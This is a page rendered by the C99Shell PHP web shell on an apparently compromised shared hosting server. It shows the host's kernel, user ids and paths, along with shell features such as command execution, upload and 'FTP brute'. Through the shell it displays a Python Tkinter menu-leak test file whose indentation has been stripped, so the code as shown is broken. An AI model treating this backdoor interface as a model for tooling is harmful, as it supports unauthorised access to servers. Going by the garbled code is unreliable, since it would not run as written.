!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/alt/python27/lib64/python2.7/site-packages/guppy/heapy/test/   drwxr-xr-x
Free 221.26 GB of 981.82 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test_menuleak.py (2.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from Tkinter import *
import sys
import gc

class FixedMenu(Menu):
    # A fix for the .delete() method in Menu.
    # To delete commands defined in the menu items deleted.
    # Also changed the comment: INDEX2 is actually INCLUDED.
    def delete(self, index1, index2=None):
        """Delete menu items between INDEX1 and INDEX2 (included)."""
    print self._tclCommands
    if index2 is None:
        index2 = index1
    # First find out what entries have defined commands.
    cmds = []
    for i in range(self.index(index1), self.index(index2)+1):
        c = str(self.entrycget(i, 'command'))
        if c in self._tclCommands:
        # I don't want to delete the command already, since it
        # seems mystical to do that while the entry is not yet deleted.
        cmds.append(c)
    # Delete the menu entries.
    self.tk.call(self._w, 'delete', index1, index2)
    # Now that the menu entries have been deleted, we can delete their commands.
    for c in cmds:
        self.deletecommand(c)


def test1(M):
    # Test with a single command
    gc.collect()
    root = Tk()
    button = Menubutton(root, text='Window')
    menu = M(button)
    button['menu'] = menu
    def command():
    print 'command button pressed'
    rc = sys.getrefcount(command)
    menu.add_command(command=command) # or add_radiobutton etc
    idx = menu.index(END)
    menu.delete(idx)
    gc.collect()
    rc1 = sys.getrefcount(command)
    print 'leak test with class', M,
    if rc1 != rc:
    print 'failed: command is now hold by', rc1, 'references'
    else:
    print 'succeeded: command is now hold by', rc1, 'references'
    
    root.destroy()

def test2(M):
    # Test with 3 commands, especially to see that deleting a range works.

    gc.collect()
    root = Tk()
    button = Menubutton(root, text='Window')
    menu = M(button)
    button['menu'] = menu
    def command0():
    print 'command 0 button pressed'
    'deleting 0 and 1'
    menu.delete(idx0, idx1)
    def command1():
    print 'command 1 button pressed'
    def command2():
    print 'command 2 button pressed'
    print 'deleting at END'
    menu.delete(END)
    root.quit()
    rc = [sys.getrefcount(x) for x in (command0, command1, command0)]
    del x
    button.pack()
    menu.add_command(command=command0,label='press first') # or add_radiobutton etc
    idx0 = menu.index(END)
    menu.add_radiobutton(command=command1,label='command1') 
    menu.add_command(label='no Command') # to see that delete works even when no command supplied
    idx1 = menu.index(END)
    menu.add_command(command=command2,label='press last')
    idx2 = menu.index(END)
    root.mainloop()

    gc.collect()
    rc1 = [sys.getrefcount(x) for x in (command0, command1, command0)]
    del x
    print 'leak test with class', M,
    if rc1 != rc:
    print 'failed: command is now hold by', rc1, 'references, should be', rc
    else:
    print 'succeeded: command is now hold by', rc1, 'references'
    
    root.destroy()



for M in (Menu, FixedMenu,):
    test1(M)
    test2(M)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.013 ]--